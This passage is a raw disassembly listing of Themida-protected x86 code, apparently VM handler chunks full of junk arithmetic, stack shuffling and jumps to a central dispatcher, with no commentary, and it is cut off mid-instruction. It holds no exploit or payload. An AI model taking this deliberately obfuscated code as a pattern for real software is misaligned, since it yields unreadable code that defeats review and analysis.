FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55146D: ; CODE XREF: Themida_:00559DFEj push ecx mov ecx, 4 jmp loc_5531CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551478: ; CODE XREF: sub_556A70+3A6Bj push edx push ebp mov ebp, 0 mov edx, ebp jmp loc_554359 ; --------------------------------------------------------------------------- loc_551486: ; CODE XREF: sub_556A70+47D7j mov [esp-0Ch+arg_8], edx mov edx, 2F9F4463h xor edx, 483F3FF9h add edx, 14685381h sub edx, 1D6F54C4h push eax push 69Fh mov [esp-4+arg_0], ebx mov ebx, 378B7EA4h mov eax, ebx mov ebx, [esp-4+arg_0] push edx mov edx, esp jmp loc_552D4C ; --------------------------------------------------------------------------- loc_5514BB: ; CODE XREF: sub_556A70-5C5Aj mov esp, [esp-8+arg_4] push 7ECBh mov [esp-4+arg_0], eax jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5514CB: ; CODE XREF: Themida_:00552D18j pop cx jmp loc_5545CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5514D2: ; CODE XREF: sub_556A70-261Cj xor ebp, 247C0B0Eh dec ebp and ebp, 56803F1Dh jmp loc_551055 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5514E4: ; CODE XREF: Themida_:005533E5j shr edx, 4 jmp loc_5579D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5514EC: ; CODE XREF: sub_556A70-18D6j mov edi, [esp-4+arg_0] jmp loc_551608 ; --------------------------------------------------------------------------- loc_5514F4: ; CODE XREF: sub_556A70+ECFj pop edx jmp loc_55BB74 ; --------------------------------------------------------------------------- loc_5514FA: ; CODE XREF: sub_556A70+4188j xor edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] or ebx, ebx jnz loc_552EFC push eax push ebp mov ebp, 654823CEh inc ebp neg ebp push eax mov eax, 654823EFh sub ebp, 7D503D14h jmp loc_552440 ; --------------------------------------------------------------------------- loc_551523: ; CODE XREF: sub_556A70+28C0j mov esp, [esp+4+var_4] mov [esp+4+var_4], ecx mov ch, 45h jmp loc_55886D ; --------------------------------------------------------------------------- loc_551530: ; CODE XREF: sub_556A70+4845j add edx, ebx pop ebx add edx, 4 xchg edx, [esp+0] pop esp movzx ax, byte ptr [eax] push small 3476h mov [esp+0], ax jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 jmp loc_5551CE ; --------------------------------------------------------------------------- loc_551565: ; CODE XREF: Themida_:00559A35j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55156A: ; CODE XREF: Themida_:00557DADj xor dh, 0A8h sub al, dh pop edx add al, bl push dx mov dh, 24h add al, dh pop dx push ebx push cx jmp loc_552D7F ; --------------------------------------------------------------------------- loc_551582: ; CODE XREF: Themida_:00553D2Ej neg eax add eax, 42E0FD54h xor edx, eax mov eax, [esp] jmp loc_55A20A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551593: ; CODE XREF: sub_556A70+C4Aj add esp, 4 add ecx, 4 jmp loc_550DAA ; --------------------------------------------------------------------------- loc_5515A1: ; CODE XREF: sub_556A70+879j add esi, 3D1F1CF8h sub esi, 4ED6C1D8h jmp loc_555AA1 ; --------------------------------------------------------------------------- loc_5515B2: ; CODE XREF: sub_556A70-5B6Dj mov ecx, [esp+8+var_8] add esp, 4 inc ecx jmp sub_55AA5F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5515BE: ; CODE XREF: Themida_:00555F4Cj shl ecx, 7 push ebp mov ebp, 6C3F1468h shl ebp, 1 inc ebp jmp loc_558446 ; --------------------------------------------------------------------------- loc_5515CF: ; CODE XREF: Themida_:00551369j add esi, ebp jmp loc_5512DB ; --------------------------------------------------------------------------- loc_5515D6: ; CODE XREF: Themida_:0055A89Fj add ebx, 677FEE04h sub ecx, 5BEB3264h add ecx, ebx add ecx, 5BEB3264h jmp loc_552CE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5515EF: ; CODE XREF: sub_556A70+5BDAj add ebx, 60004B9Fh add ebx, eax push edi push esi mov esi, 79B57340h push 0D9B5BEDFh jmp loc_55A936 ; --------------------------------------------------------------------------- loc_551608: ; CODE XREF: sub_556A70-5581j add esp, 4 inc edx xor edx, 0E2C41616h jmp loc_55468C ; --------------------------------------------------------------------------- loc_55161A: ; CODE XREF: sub_556A70+E7Cj mov ebx, 2AF860FAh shl ebx, 8 xor ebx, 0F860FA04h jmp loc_55AC3E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55162D: ; CODE XREF: Themida_:0055A5BAj add esi, 4 jmp loc_55A663 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551638: ; CODE XREF: sub_556A70-257Fj mov eax, [esp-8+arg_4] push eax jmp loc_55AC7B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5547A1 loc_551641: ; CODE XREF: sub_5547A1+17j pop ebx jmp loc_5530A6 ; END OF FUNCTION CHUNK FOR sub_5547A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551647: ; CODE XREF: sub_556A70+22Dj xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] pop esp mul ecx push ebp push esp pop ebp push edi mov edi, 28EC7D6Eh inc edi shr edi, 6 jmp loc_55BD1E ; --------------------------------------------------------------------------- loc_551662: ; CODE XREF: sub_556A70+2020j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_551667: ; CODE XREF: sub_556A70-D5Cj pop esp push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi jmp loc_554248 ; --------------------------------------------------------------------------- loc_551679: ; CODE XREF: sub_556A70+113j mov edi, 67945F38h push edi not [esp+4+var_4] pop edi jmp loc_5522ED ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551688: ; CODE XREF: Themida_:0055616Fj mov bh, 0E9h mov dh, bh pop ebx neg dh jmp loc_5591C6 ; --------------------------------------------------------------------------- loc_551694: ; CODE XREF: Themida_:005595E7j push edx mov edx, 7EED101Ch jmp loc_555137 ; --------------------------------------------------------------------------- loc_55169F: ; CODE XREF: Themida_:00553F6Cj mov bh, 0A1h jmp loc_557971 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_5516A6: ; CODE XREF: sub_5566B9+27F4j add ecx, 70850C20h jmp loc_5535E8 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_5516B1: ; CODE XREF: sub_555B85+498Dj neg ebp jmp loc_5511DD ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5516B8: ; CODE XREF: sub_556A70-1416j and al, cl mov ecx, [esp+0] push 7A59h mov [esp+4+var_4], eax mov eax, esp add eax, 4 push edx jmp loc_5595EC ; --------------------------------------------------------------------------- loc_5516D2: ; CODE XREF: sub_556A70+5793j mov [esp+8+var_8], ecx mov ecx, 53F233DFh add eax, ecx pop ecx sub eax, 4C5D7149h add eax, edi add eax, 4C5D7149h jmp loc_55739D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5516EE: ; CODE XREF: Themida_:00558E71j pop eax push esi push esp pop esi push ecx jmp loc_558D71 ; =============== S U B R O U T I N E ======================================= sub_5516F8 proc near ; CODE XREF: sub_556A70+18DEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00550C3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00552226 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00552501 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00555233 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005561D2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00558C18 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00558EDD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055A204 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055AFE2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055BFFE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055C028 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055C7A5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C7FE SIZE 00000007 BYTES push ebx mov ebx, 786089Bh sub ebx, 0BED5E0Bh neg ebx jmp loc_55C7A5 sub_5516F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_55170B: ; CODE XREF: sub_551E74+8j pop ebp jmp loc_5548B7 ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551711: ; CODE XREF: sub_556A70+1E7j mov edi, esp jmp sub_5519E5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551718: ; CODE XREF: Themida_:00551A51j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_553F68 ; --------------------------------------------------------------------------- loc_55172C: ; CODE XREF: Themida_:0055B62Cj pop ecx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_551749: ; CODE XREF: Themida_:0055844Ej pop ebp add edi, ecx pop ecx add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551767: ; CODE XREF: sub_556A70-37B8j add esp, 4 and eax, ebx pop ebx shr eax, 0Eh xor eax, ecx push eax push edi pop eax pop edi jmp loc_55A37E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_551784: ; CODE XREF: sub_55A748-4ACBj pop esp mov ebx, [esp+0Ch+var_C] jmp loc_556EAF ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- loc_55178D: ; CODE XREF: Themida_:0055B9A8j pop ax add bl, cl push dword ptr [esp] jmp loc_55BF08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_551799: ; CODE XREF: sub_550BFD+46A5j pop ecx add esp, 4 sub edx, 76D8687Dh add edx, eax add edx, 76D8687Dh push ebp mov ebp, 4E622216h add edx, ebp jmp loc_559DB4 ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5517BB: ; CODE XREF: sub_556A70-4960j add ebx, 4 push 5C48h mov [esp+0], ebx push [esp+arg_0] pop ebx pop dword ptr [esp+0] mov esp, [esp-4+arg_0] jmp loc_55B293 ; --------------------------------------------------------------------------- loc_5517D9: ; CODE XREF: sub_556A70+5527j add eax, 4 push eax push [esp+arg_0] pop eax jmp loc_5546F0 ; --------------------------------------------------------------------------- loc_5517E7: ; CODE XREF: sub_556A70+DCBj mov esi, 3DCB1EE4h not esi push eax mov eax, 3DCB1EE9h add esi, eax pop eax jmp loc_55AF19 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5517FC: ; CODE XREF: Themida_:005587AAj add esi, 316A3248h sub esi, ecx sub esi, 316A3248h push eax mov eax, 14113DFDh sub eax, 67F8707Eh or eax, 68991FCEh add eax, 5E330C00h dec eax push eax not dword ptr [esp] pop eax add eax, 0B700596Bh add esi, eax jmp loc_55B62B ; --------------------------------------------------------------------------- loc_551831: ; CODE XREF: Themida_:00554019j pop edx push edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xchg eax, [esp] pop edx sub esp, 4 mov [esp], edi mov edi, 2A5D50D7h xchg esi, edi dec esi jmp loc_55C6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551858: ; CODE XREF: sub_556A70+3FD7j xchg edi, edx jmp loc_5542EA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55185F: ; CODE XREF: Themida_:00558F53j sub esp, 4 mov [esp], esi jmp loc_55A6C3 ; --------------------------------------------------------------------------- loc_55186D: ; CODE XREF: Themida_:00558303j add edx, ebp add edx, 5E9414F1h jmp loc_55C418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55187A: ; CODE XREF: sub_556A70-37C7j push 180Ah mov [esp+4+var_4], eax mov eax, esp push 12A5h mov [esp+8+var_8], esi mov esi, 494B3B35h neg esi shl esi, 3 sub esp, 4 jmp loc_5522B3 ; --------------------------------------------------------------------------- loc_5518A1: ; CODE XREF: sub_556A70+5EC0j push edi mov edi, 747449DEh add edi, 50977D6Dh sub edi, 54AE6C0Bh and edi, 3DBD167Bh neg edi jmp loc_555BE4 ; --------------------------------------------------------------------------- loc_5518C0: ; CODE XREF: sub_556A70-1B7j sub ebx, 7DD26107h jmp loc_555D62 ; --------------------------------------------------------------------------- loc_5518CB: ; CODE XREF: sub_556A70-2EC4j xor edi, 0B119D4DCh jmp loc_551ABD ; --------------------------------------------------------------------------- loc_5518D6: ; CODE XREF: sub_556A70+A64j pop edx inc ebx xor ebx, 0B91778A5h or ebp, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 or ebp, 94068FDh add ebp, 3FDFAFDh add ecx, 3D4D4B6Eh sub ecx, ebp sub ecx, 3D4D4B6Eh pop ebp and eax, ecx jmp loc_558D2F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555903 loc_55190B: ; CODE XREF: sub_555903-1D80j add esp, 4 or ecx, ecx jz sub_55BDF1 push esi mov esi, esp jmp loc_554905 ; END OF FUNCTION CHUNK FOR sub_555903 ; --------------------------------------------------------------------------- loc_551921: ; CODE XREF: Themida_:00554D2Ej pop ecx jmp loc_551E2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551927: ; CODE XREF: sub_556A70-317Dj pop ebx jmp loc_557044 ; --------------------------------------------------------------------------- loc_55192D: ; CODE XREF: sub_556A70-35Cj inc ecx not ecx push ebp mov ebp, 0D1C91A31h sub ecx, ebp pop ebp sub edi, 4EEE1766h jmp loc_55BE9D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551944: ; CODE XREF: Themida_:0055920Ej add esi, 2 push esi push dword ptr [esp+4] jmp loc_552A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551954: ; CODE XREF: sub_556A70-4013j or eax, 9DF17ECh xor eax, 1994CFC5h add ecx, eax pop eax mov ebp, ecx mov ecx, [esp-4+arg_0] add esp, 4 sub edx, ebp jmp loc_552963 ; --------------------------------------------------------------------------- loc_551973: ; CODE XREF: sub_556A70-40DDj mov [esp-8+arg_4], esi jmp sub_55227F ; --------------------------------------------------------------------------- loc_55197B: ; CODE XREF: sub_556A70-112Ej push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp-8+arg_4] jmp loc_55441F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55198C: ; CODE XREF: Themida_:0055948Cj sub cl, 24h add cl, 0BEh sub cl, bl jmp loc_55C23E ; --------------------------------------------------------------------------- loc_551999: ; CODE XREF: Themida_:00557F36j xor ch, 40h xor al, ch mov ecx, [esp] jmp loc_55A7A4 ; --------------------------------------------------------------------------- loc_5519A6: ; CODE XREF: Themida_:0055BEDCj mov esi, esp push ebp mov ebp, 3D340516h xor ebp, 674F77AAh shl ebp, 6 not ebp xor ebp, 6BA12C88h shr ebp, 6 neg ebp jmp loc_5531A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_5519C9: ; CODE XREF: sub_559F87-47D1j push [esp+8+var_8] pop edx jmp loc_55CA0F ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5519D2: ; CODE XREF: sub_556A70+E56j add esp, 4 pop [esp-0Ch+arg_8] pop esp test cx, ax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5519E5 proc near ; CODE XREF: sub_556A70-535Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C290 SIZE 00000006 BYTES push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] jmp loc_55C290 sub_5519E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553657 loc_551A02: ; CODE XREF: sub_553657+Ej add esp, 4 not eax xor eax, 0F1063BB4h push eax mov edi, [esp+0] add esp, 4 mov eax, [esp-4+arg_0] add esp, 4 add eax, edi mov edi, [esp-8+arg_4] jmp loc_55BAFA ; END OF FUNCTION CHUNK FOR sub_553657 ; --------------------------------------------------------------------------- loc_551A26: ; CODE XREF: Themida_:0055843Bj mov eax, [esp] add esp, 4 jmp loc_55CD1E ; --------------------------------------------------------------------------- loc_551A31: ; CODE XREF: Themida_:00552DC4j add ebx, edx mov edx, [esp] push edi jmp loc_5526A4 ; --------------------------------------------------------------------------- loc_551A3C: ; CODE XREF: Themida_:00555F06j pop eax jmp loc_555223 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551A42: ; CODE XREF: sub_556A70+948j mov dh, bl jmp loc_558391 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsb add al, 0E5h add al, bl push esi mov esi, esp jmp loc_551718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_551A56: ; CODE XREF: sub_55515F+12F3j mov eax, 6E605079h and eax, 6EA8416Dh shr eax, 6 not eax add eax, 55932C6Fh xor eax, 23D90F32h add eax, 0B65DB939h sub ebx, eax pop eax jmp loc_55C626 ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- loc_551A7C: ; CODE XREF: Themida_:00550FA7j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55422D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551A8D: ; CODE XREF: sub_556A70+5C1j mov ebp, [esp-10h+arg_C] add esp, 4 push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp-14h+arg_10] pop esp shr eax, 12h xor eax, ecx push 6042h mov [esp-14h+arg_10], eax xchg eax, [esp-14h+arg_10] push eax not [esp-10h+arg_C] pop eax jmp loc_552812 ; --------------------------------------------------------------------------- loc_551ABD: ; CODE XREF: sub_556A70-519Fj push edi pop ecx jmp loc_5559EE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551AC4: ; CODE XREF: Themida_:00554BACj push esp pop esi add esi, 4 push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] pop esp mov [esp], edx jmp loc_554AB2 ; --------------------------------------------------------------------------- loc_551AE1: ; CODE XREF: Themida_:0055C551j dec esi add esi, 0FFED77CDh add ebx, esi pop esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esi mov esi, 199A7780h jmp loc_55BB4A ; --------------------------------------------------------------------------- loc_551B0E: ; CODE XREF: Themida_:005536CEj add esp, 4 pop esi push 575Ah mov [esp], ebx mov ebx, 4 sub esi, 26FB4E67h add esi, ebx jmp loc_55418A ; --------------------------------------------------------------------------- loc_551B2F: ; CODE XREF: Themida_:00559453j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp cmp cx, ax pushf jmp loc_550A46 ; =============== S U B R O U T I N E ======================================= sub_551B42 proc near ; CODE XREF: sub_556A70+295Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055297C SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00554DAC SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055549E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00558FFB SIZE 00000028 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 60104543h sub esi, edi pop edi dec esi or esi, 0EBE672Eh dec esi xor esi, 0E442C8Ch sub edi, esi jmp loc_554DAC sub_551B42 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551B68: ; CODE XREF: sub_556A70+559Bj mov ecx, 4 sub [esp+10h+var_C], 2F1E61DFh add [esp+10h+var_C], ecx push ebx mov ebx, 2F1E61DFh add [esp+14h+var_C], ebx pop ebx pop ecx pop ecx add ecx, 4 sub esp, 4 jmp loc_553C31 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_551B97: ; CODE XREF: sub_5584F8+B4j sub ebx, 4 jmp loc_5591E0 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_551B9F: ; CODE XREF: Themida_:00556615j not dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 shr ecx, 8 inc ecx xor ecx, 7BE7483Ch jmp loc_551D3E ; --------------------------------------------------------------------------- loc_551BBB: ; CODE XREF: Themida_:0055A2E8j add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_55AF6B ; --------------------------------------------------------------------------- loc_551BCF: ; CODE XREF: Themida_:005533ECj and esi, 2E6D36DCh add esi, 5FE876B8h sub esi, 453C3711h add esi, 0B70B9C1Dh add ebx, 62A719CAh add ebx, esi sub ebx, 62A719CAh mov esi, [esp] add esp, 4 push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_551C0F: ; CODE XREF: Themida_:00555E4Dj pop ebp and edi, 39FB2FE4h push edi not dword ptr [esp] mov edi, [esp] add esp, 4 push ecx jmp loc_559935 ; --------------------------------------------------------------------------- loc_551C29: ; CODE XREF: Themida_:00553138j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_551C2E: ; CODE XREF: Themida_:005597A8j push ecx jmp loc_551E20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551C34: ; CODE XREF: sub_556A70-3CF6j mov ebp, ecx pop ecx jmp loc_55B108 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551C3C: ; CODE XREF: Themida_:005530A1j add dh, ch jmp loc_5583CF ; --------------------------------------------------------------------------- db 51h ; Q ; CODE XREF: Themida_:0055881Aj db 0FFh db 74h ; t db 24h ; $ db 4 db 59h ; Y db 8Fh ; ▐ db 4 db 24h ; $ db 0E9h ; И db 16h db 7Ch ; | db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551C51: ; CODE XREF: sub_556A70-43D1j add edx, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebp push 6EACh mov [esp+0Ch+var_C], esi mov esi, 2C801B7Ch push ecx mov ecx, 0 jmp loc_558B99 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551C85: ; CODE XREF: Themida_:0055AAA5j sub bl, al push dx mov dl, 34h sub bl, dl jmp loc_5512E1 ; --------------------------------------------------------------------------- loc_551C92: ; CODE XREF: Themida_:00554999j push eax mov eax, 30EA0916h xor ebp, eax pop eax push eax mov eax, 6CC97B8Fh inc eax xor eax, 7A8229C9h or ebp, eax pop eax add ebp, 6DAB525Fh sub eax, ebp pop ebp jmp loc_55296B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_551CB8: ; CODE XREF: sub_5539DB+4E07j sub edi, 1A75EBFh sub edi, esi add edi, 1A75EBFh jmp loc_55406F ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551CCB: ; CODE XREF: sub_556A70+1794j xor edx, esi pop esi add ebx, edx pop edx pop ecx jmp loc_5536B2 ; --------------------------------------------------------------------------- loc_551CD7: ; CODE XREF: sub_556A70-1DEEj add eax, 3A8D70B0h add eax, ebp jmp loc_55A2ED ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_551CE3: ; CODE XREF: sub_553651+4FCFj push 0FECh mov [esp+8+var_8], edx push 80000h mov edx, [esp+0Ch+var_C] add esp, 4 jmp loc_55B004 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- loc_551CFE: ; CODE XREF: Themida_:00557B5Bj jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551D03: ; CODE XREF: sub_556A70-327Aj pop edx jmp loc_556694 ; --------------------------------------------------------------------------- loc_551D09: ; CODE XREF: sub_556A70+78Aj push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_558C2B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551D14: ; CODE XREF: Themida_:00550EEAj xor ebx, 37A11035h push 15F2h mov [esp], edx mov edx, 21B0985h sub esi, edx pop edx add esi, ebx push edi mov edi, 7A9B6B9Fh dec edi sub edi, 64A04D55h jmp loc_553269 ; --------------------------------------------------------------------------- loc_551D3E: ; CODE XREF: Themida_:00551BB6j sub esp, 4 mov [esp], esi mov esi, 0E46AB0h push edi jmp loc_554E2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551D4F: ; CODE XREF: sub_556A70+3EB6j pop esi push esi push eax jmp loc_557159 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551D57: ; CODE XREF: Themida_:005511A0j add eax, 4 push ecx mov ecx, 4 jmp loc_558F62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551D67: ; CODE XREF: sub_556A70-24A7j mov bh, ch mov ecx, [esp+8+var_8] add esp, 4 jmp loc_5573AC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551D77: ; CODE XREF: Themida_:005556AEj sub esp, 4 mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push edx push 6202h mov [esp], eax mov eax, 27F904C4h sub eax, 0CF70F731h mov edx, eax pop eax jmp loc_5533D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551DA3: ; CODE XREF: sub_556A70+430Bj push ecx mov ch, 2Dh or bh, ch jmp loc_55B9EA ; --------------------------------------------------------------------------- loc_551DAD: ; CODE XREF: sub_556A70-2D64j xor esi, 717B70Eh mov ebp, esi jmp loc_5524BB ; --------------------------------------------------------------------------- loc_551DBA: ; CODE XREF: sub_556A70-3A24j push [esp+8+var_8] pop eax add esp, 4 add esp, 4 xor eax, edi push dword ptr [esp+0] pop edi add esp, 4 jmp loc_556AC8 ; --------------------------------------------------------------------------- loc_551DD8: ; CODE XREF: sub_556A70+3317j and edx, 374079FEh sub edx, 313261A4h xor ebx, edx pop edx mov eax, ebx pop ebx add eax, edx jmp loc_55A5C8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551DF1: ; CODE XREF: Themida_:005525A9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5583D5 ; --------------------------------------------------------------------------- loc_551E07: ; CODE XREF: Themida_:005526FFj pop edx sub edi, 9E4BD3BEh sub ecx, edi pop edi sub eax, ecx pop ecx push ebp mov ebp, 3226997h push esi jmp loc_555A1C ; --------------------------------------------------------------------------- loc_551E20: ; CODE XREF: Themida_:00551C2Fj mov ecx, 20163C5Fh jmp loc_559126 ; --------------------------------------------------------------------------- loc_551E2A: ; CODE XREF: Themida_:00551922j xor ecx, esi pop esi jmp loc_55359C ; --------------------------------------------------------------------------- loc_551E32: ; CODE XREF: Themida_:00556A13j push dword ptr [esp] pop edi add esp, 4 jmp loc_55655D ; --------------------------------------------------------------------------- loc_551E41: ; CODE XREF: Themida_:0055C8D1j add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5557CB ; --------------------------------------------------------------------------- lodsb jmp loc_556166 ; --------------------------------------------------------------------------- loc_551E5C: ; CODE XREF: Themida_:00553F23j push eax jmp loc_55C0E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551E62: ; CODE XREF: sub_556A70+FD4j mov bx, word ptr [esp-0Ch+arg_8] push ecx mov ecx, esp add ecx, 4 jmp 